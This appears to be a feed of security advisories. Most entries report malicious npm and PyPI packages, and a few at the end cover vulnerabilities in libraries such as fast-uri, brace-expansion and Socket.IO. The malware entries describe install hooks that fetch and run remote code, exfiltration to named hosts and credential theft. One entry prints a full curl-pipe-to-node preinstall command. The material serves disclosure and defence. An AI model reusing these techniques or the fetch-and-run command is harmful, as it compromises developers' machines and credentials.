Malicious code in @larocas-bbresearch/tombstone-probe-odvz5y (npm)

Source: amazon-inspector d8361724bb70f161c897f4b6cc3cfb8d2dd3acf32295a4e32181c8a16dd58d13 The package was found to contain malicious code or consuming dependency that contains malicious code --- Credit: OpenSSF source...

Malicious code in @larocas-bbresearch/tombstone-probe-8ejnsa (npm)

Source: amazon-inspector 8656a15600371992dd90c60b5c0280339218d62a8f22473380f37eaf8d952e9b The package was found to contain malicious code or consuming dependency that contains malicious code --- Credit: OpenSSF source...

Malicious code in fabric-loader-core (npm)

Source: amazon-inspector a11b2ce0f9b1a7b7587acd21c631a72069bab0216c8bf010f4fb04f8b0ae543f The package's postinstall hook runs index.js, which performs an HTTPS GET to the hardcoded host https://fabric-npm.gm-service.xyz/p and passes the response body directly to vm.runInContext with a context...

Malicious code in zeal-utils (npm)

Source: amazon-inspector f7a4b9b4fcb0a48aa3602fc7bc865eff738f8ab42a4c9e56ea31e70b0b6b826f canary.js in [email protected] collects host reconnaissance data os.hostname, os.userInfo, process.platform, cwd, node version and POSTs it to the hardcoded external endpoint https://npm-canary.aveliscare.com...

Malicious code in @larocas-bbresearch/tombstone-probe-live-z6xz56 (npm)

Source: amazon-inspector 8eb64220c40c3aaf61d0c2911ff0950a968c4c03d9ba2af1620420077f532a2d The package was found to contain malicious code or consuming dependency that contains malicious code --- Credit: OpenSSF source...

Malicious code in solidity-lock (npm)

Source: amazon-inspector 7e283fd2d07e81705e23d5756d15edd4ff4dc7a074d375111155ef9dca1fd9b8 The package's declared main index.js is a trivial no-op Express middleware whose only real effect is to require'./lib/config', a 4 MB obfuscator.io-style bundle rotating string array, hex-escaped entries,...

Malicious code in fabric-mod-utils (npm)

Source: amazon-inspector b3ada8fa4c11f57f6f8bfcf158b33b56d71f6f1433910b981cec70492b2272a9 The package declares scripts.postinstall = 'node index.js'. On install, index.js performs an HTTPS GET to the hardcoded host fabric-npm.gm-service.xyz at path /p and passes the response body to...

Malicious code in tailwind-forms-kit (npm)

Source: amazon-inspector a1083ea1ddf83f29a443e7ba4b24db0d24da35dfd0a9d0ac032ae20501ac57ea npm package [email protected] impersonates the @tailwindcss/forms plugin: the package.json name field is ' tailwind-forms-kit' with a leading space, the README mirrors tailwindlabs/tailwindcss-forms,...

Malicious code in @larocas-bbresearch/tp-probe-e29834ce (npm)

Source: amazon-inspector 7279432ffb7dc233307df869ac5faaded0fef16333ec8a5948b15bae7bd716a7 The package was found to contain malicious code or consuming dependency that contains malicious code --- Credit: OpenSSF source...

Malicious code in mfahelper (npm)

Source: amazon-inspector e6df54a49845aa55e3310261ccc7002fe5aabcdf3924875bf7c1ad3fb4751297 package.json declares its only runtime dependency, node-net-pool, as an https tarball pointing at the main branch of an unrelated GitHub account...

Malicious code in stestenv (npm)

Source: amazon-inspector ee35b23a60484ee1d468154734cc7cdbc8c7d3cbc81901ab680cb67e46a8c2b6 On require of the package's main entry, dispatchAnalytics reads a payload hidden in the JPEG APP13 marker 0xFFED segment of the bundled dist/stest.jpg, decrypts it with a hardcoded AES-256-CBC key to obtain ...

Malicious code in web-vitals-polyfill-core-v1 (npm)

Source: amazon-inspector 38311c0f483e9485a7b5e8aa7f9a093a40203d8e1a025c0bf5850c2874cffdfa The package name mimics the widely-used web-vitals polyfill but the tarball ships disk/index.min.js, a base64-wrapped service-worker payload self.PWAROUTER.executeTacticalRouting that resolves an active...

Malicious code in zeal-util-hooks (npm)

Source: amazon-inspector 2c9ed95500d2f1c637bcf47151a9220c0a81ee6cbd7a7aa4a8f66c74fed6e341 postinstall.js and index.js load canary.js, which POSTs a JSON payload to https://npm-canary.aveliscare.com/beacon at install time and on require. The payload contains os.hostname, os.userInfo username, cwd,...

Malicious code in esm-dotenv (npm)

Source: amazon-inspector 55c5c67c48596e011158554f8b5ea57d65a8a8dc3b5f4120d3c9c4d1cf961da2 The package advertises itself as a zero-dependency dotenv parser but its main entry dist/index.cjs and CLI bin dist/cli.cjs both invoke dispatchAnalytics at top-level module load. That function reads...

Malicious code in dotenv-precheck (npm)

Source: amazon-inspector 446a8483dbc9e696506f44c6777b7c086b1b919b2585b5e5c99ca5f6e2e19a8e [email protected] is a credential-stealing package disguised as a dotenv preflight utility. package.json wires index.js as a postinstall script, so it runs automatically on npm install. index.js is heavi...

Malicious code in bfox-build-utils (PyPI)

Source: amazon-inspector cae53348f8261653938b39ae3cb79101baff666c4216ecaeb635e34b42ba8293 At install time, setup.py harvests the installer's GitHub credential and uses it to modify the installer's own repository. The script reads $GITHUBWORKSPACE/.git/config, regexes the extraheader =...

Malicious code in itsmeeaizat-bailey (npm)

Source: amazon-inspector e87b4292727088efa5df8326a5f868b2c6bb3ae66ee15cecc18f2fa899296075 package.json declares the libsignal dependency as git+https://github.com/whiskeysockets/libsignal-node with no tag, no commit SHA, and no integrity constraint. On npm install, this resolves to whatever the...

Malicious code in pixsvg (npm)

Source: amazon-inspector 23f6989954f196f485ff049ef7dc22bb800a57187e6bdc8bd0e002ed4bbc1db7 The pixsvg module exports fetchDataFromSvgsvgData, which scans the input SVG for a comment of the form , reassembles the binary-encoded 1/0 sequence into a JavaScript string via binaryToData parseIntchunk,2 ...

Malicious code in json-bigint-rs (npm)

Source: amazon-inspector 7f5b71b917a0504deb87a597d9d07527179c2d6bb9ec1f836caa34d6145aa043 On require, index.js instantiates the shipped json-bigint-rs.wasm module and, for imports declared under the 'wasm:js/string-constants' module namespace, exposes each descriptor's name as an externref global...

Malicious code in booking-tasks (npm)

Source: amazon-inspector 08305a6c73bd94f2983c949316cb78fef7f7169f85523a773c94fb305874e063 The package's package.json declares a postinstall hook wscript.exe 4444.vbs that fires automatically on npm install. The bundled 4444.vbs contains hand-rolled AES-128 with XOR-masked forward/inverse S-boxes,...

Malicious code in booking-eligibility (npm)

Source: amazon-inspector 2c93f5b06720659d8e0cc8efb7d6bd75f577605e84c27cfb600a795081c27654 package.json declares a postinstall lifecycle hook wscript.exe 4444.vbs that runs Windows Script Host against a .vbs file on npm install. The referenced 4444.vbs is not shipped in the tarball, so the hook...

Malicious code in developmentstelemetry (npm)

Source: amazon-inspector 98ef8863222571a8e77635ed5129c41ad9583d9df4e9e5fd61b5a07c4fb26887 package.json declares scripts.postinstall = 'node index.js'. index.js is a 143-byte stub whose only behavior is to dynamically import the sole declared dependency '[email protected]' and...

Malicious code in test-supply-npm-lib-4 (npm)

Source: amazon-inspector 80bcbaa6379206627641c70dd25da3c3adfd51337f9a378223a6f8f13c8ba3ed package.json declares a dependency test-supply-npm-git-prepare-proof-4 whose value is a bare git URL git+https://[email protected]/agustedone/test-supply-npm-git-prepare-proof-4.git rather than a registry versi...

Malicious code in godsplan (npm)

Running the godsplan 3.0.2 CLI connects to Chrome's debugging port 9222 and injects JavaScript into every open page. It bypasses Content Security Policy and intercepts selected test-page requests. When triggered by a mouse gesture or keyboard shortcut, the injected script collects the page text a...

Malicious code in @rutxploit-sec/subsplash-canny (npm)

Source: amazon-inspector dc1ebadea2eb63a0fc7cf7446e36a589c5b87fc7d28e68b68145b98577107ebb npm package @rutxploit-sec/subsplash-canny declares a preinstall lifecycle script that runs node -e inline code reading os.hostname and os.userInfo.username and issuing an HTTP GET to http://127.0.0.1:8099/...

Malicious code in @selfpentest/eslint-pentest-plugin (npm)

Source: amazon-inspector f338876601180482b20a42fbd799b9d4e1b059bf7d733b5db448f7fc6d3455ff Package presents itself as an ESLint plugin but the exported plugin object is an empty shell. index.js unconditionally invokes a steal routine at top level, so any require of the package including ESLint...

Malicious code in testosu888 (npm)

Source: amazon-inspector 3faa5787fbebe8c5d73f3291c77975efb91c504dddf6a1d82cbe7e9f25372b27 On loading dist/index.cjs main entry and on running the dot2env CLI dist/cli.cjs, the package invokes a dispatchAnalytics routine that reads dist/stest.jpg, parses a JPEG APP13 marker 0xED segment to extract...

Malicious code in testosu8887 (npm)

Source: amazon-inspector 7d9d3296b770afd3fdebaf4df9d113873e9c77d2d498d2e7941a3465eeb6f97d On require or CLI invocation, dist/index.cjs and dist/cli.cjs call a top-level function dispatchAnalytics, invoked via he/Re that reads a bundled image dist/stest.jpg, extracts a hidden UTF-8 string from its...

Malicious code in @rutxploit-sec/subsplash-google-tag-manager (npm)

Source: amazon-inspector 8fe2c746dc5c09bc67257fd4eba671824806c9080b7ca94949e45175deb03b8d package.json declares a preinstall script that executes inline Node code reading os.hostname and os.userInfo.username and issuing an HTTP GET to http://127.0.0.1:8099/ carrying those identifiers along with t...

Malicious code in @chatunity/baileys (npm)

Source: amazon-inspector b6d06d6b516b21b0ac6ed45e5653dca243695a2c17326669ec58498e4c9bcf45 package.json declares the runtime dependency libsignal with the value github:chatunitycenter/libsignal-node, an off-registry git source with no commit SHA or tag pin. On npm install, npm fetches whatever the...

Malicious code in @rutxploit-sec/waves-icons (npm)

Source: amazon-inspector bdeb076eee35958fd0520e7f9cca9d361c47f02cb81c73288609ecdfb60bdbb1 @rutxploit-sec/waves-icons is a dependency-confusion proof-of-concept squatting the internal scope name @waves/icons. Its package.json declares a preinstall lifecycle hook that runs inline Node code node -e...

Malicious code in react-nodejs (npm)

Source: amazon-inspector 5777ca86863da9fabb9da8e1a0d6c2f30f05533265624b2da07a8d0804930481 package.json declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from ...

Malicious code in @rutxploit-sec/waves-button-poc (npm)

Source: amazon-inspector 435937e521ca52ff4d99fd276136aff40364c4a88a3a4677cecf390c9d9bb600 @rutxploit-sec/[email protected] auto-executes host-identifier exfiltration on both npm install and require. package.json declares a preinstall script that runs node -e code which reads os.hostname and...

Malicious code in @selfpentest/bin-confusion (npm)

Source: amazon-inspector 40a68543ca2674f2b90d89dd52516736791b7886d617c694d89dd3135e7499f3 package.json registers a bin entry named npm pointing at npm.js, deliberately colliding with the core npm CLI. Once this package is installed as a dependency, any npm... invocation in a consuming project's...

Malicious code in test-agency-assign (npm)

Source: amazon-inspector e650e815b4409c3c07cdab7c953ed69b8052f32a28c3686397ab362bb1bd4552 [email protected] declares a package.json postinstall script wscript.exe Kelimasow.exe that auto-executes a bundled 8.4 MB Go-compiled Windows PE Kelimasow.exe, sha256...

Malicious code in test-agency-assignment-02 (npm)

Source: amazon-inspector e9944ea8ca21c0670c4b718a12427e8ca7330571ef5a9198a60b05f75038fe73 The tarball contains only package.json and 4444.vbs; the declared main entry index.js is absent. package.json defines a postinstall script wscript.exe 4444.vbs, so on npm install on Windows the VBScript...

Malicious code in test-agency-assignment-01 (npm)

Source: amazon-inspector 2098eadf99f0ffe4dc04f478ed085034d30415cb52201be4f36f688298abc46e The tarball contains only package.json and an 8.4 MB Go-compiled Windows executable, Kelimasow.exe sha256 875c7641dc980538f3c3d8b344d173f97cf64a5d97dcf88d8e2932c83b876b92. package.json declares...

Malicious code in common-fs (npm)

Source: amazon-inspector e3d99fa69df24bb5170c840f84e44038c20cf8b431c94abfd57eaa3701593684 common-fs advertises itself as a filesystem/transaction helper but ships an obfuscated code loader. index.js reconstructs the identifiers 'Function', 'Buffer', 'require', 'process', and 'setTimeout' from a...

Malicious code in fs-commons (npm)

Source: amazon-inspector f7e82e98343807c39ea786017de4d2a7455815424155ca2a856333d895c8a48b The package presents itself as a filesystem/data-helper library, but its exported getTransactions/loadtransactiondata functions are a two-file dynamic-code loader. index.js hides the identifiers 'Function',...

Nest: Remote process termination via a deeply nested microservice message pattern

| Field | Value | | --- | --- | | Ecosystem | npm | | Package | @nestjs/microservices | | Affected versions | = 12.0.0, 12.0.2 and 11.2.4 | | Patched versions | 12.0.2 and 11.2.4 upgrade to 12.0.3 / 11.2.5 | Summary A single message whose pattern is a deeply nested object terminates a NestJS...

fast-uri vulnerable to inconsistent host case normalization via percent-encoded octets

Impact fast-uri folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase unreserved octet such as %41 decodes to a literal A that is never folded. For a scheme-relative reference //host there is no scheme, so the host canonicalization that repairs this on a...

fast-uri vulnerable to mailto header injection via percent-encoded field-name desynchronization

Impact fast-uri's mailto scheme parser compares each query field name to the reserved names to, subject, body while the name is still percent-encoded, and only percent-decodes it when storing it as a generic header. On serialize, the decoded name is re-emitted, so a field name such as %74o...

@xhmikosr/decompress: Path traversal via symlink chain

Impact When extracting an untrusted archive with the default decompressinput, output API, a crafted archive containing a chain of symlink entries can make a later entry resolve outside the output directory. The lexical containment checks pass, but the kernel follows the planted symlinks to a path...

ip-address: isInSubnet() and isHostInSubnet() compare addresses of different families as if they shared an address space, allowing an allowlist check to admit an address outside its range

Summary isInSubnet and isHostInSubnet accept an address of either family and compare masked binary strings without checking that both operands are the same family. Address4 pads to 32 bits and Address6 to 128, so whenever the leading bits agree the strings are equal: new...

ip-address: Address6 builds a parse diagnostic proportional to the input with no length bound, allowing a single long string to stall or crash the process

Summary new Address6 and Address6.isValid place no bound on the length of the string they parse. When the string contains a character that cannot appear in an IPv6 address, the parser builds a diagnostic that wraps every such character in a 34-byte , so the work and the memory scale with the inpu...

moment vulnerable to Path Traversal via crafted non-string locale name

Impact moment before 2.31.0 is vulnerable to path traversal in moment.locale. When an application passes a non-string, attacker-influenced value to moment.locale, a specially crafted object can bypass the locale name validation and cause moment to load a file from an attacker-controlled path. Thi...

brace-expansion: Quadratic-time expansion of the `{a},b}` rewrite causes CPU denial of service

Summary Expanding a,b-shaped input takes time quadratic in the number of literal characters, blocking the event loop. Bash preserves a quirk where a brace group followed by a comma set still expands a,b. The parser implements this by rewriting the string and restarting the scan. Each pass absorbs...

brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion

Summary expand recurses once per level of brace nesting. Deeply nested input exhausts the native stack and crashes the process. This is distinct from CVE-2026-14257 / GHSA-mh99-v99m-4gvg, which made the tail iterative recursion on m.post, driven by how many groups are chained. Nesting depth drive...

brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion

Summary parseCommaParts can exhaust the native stack and crash the process. There are two distinct ways to trigger it, both reachable from a single untrusted pattern string. This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg. That fix made expand iterative and documented...

Socket.IO: Engine.IO Protocol Revision Mismatch DoS

Impact A denial-of-service vulnerability exists in Engine.IO / Socket.IO servers that allow transport upgrades. The Engine.IO protocol revision is negotiated during the initial handshake and stored on the session, but a newly-created transport, including a WebSocket upgrade transport, could...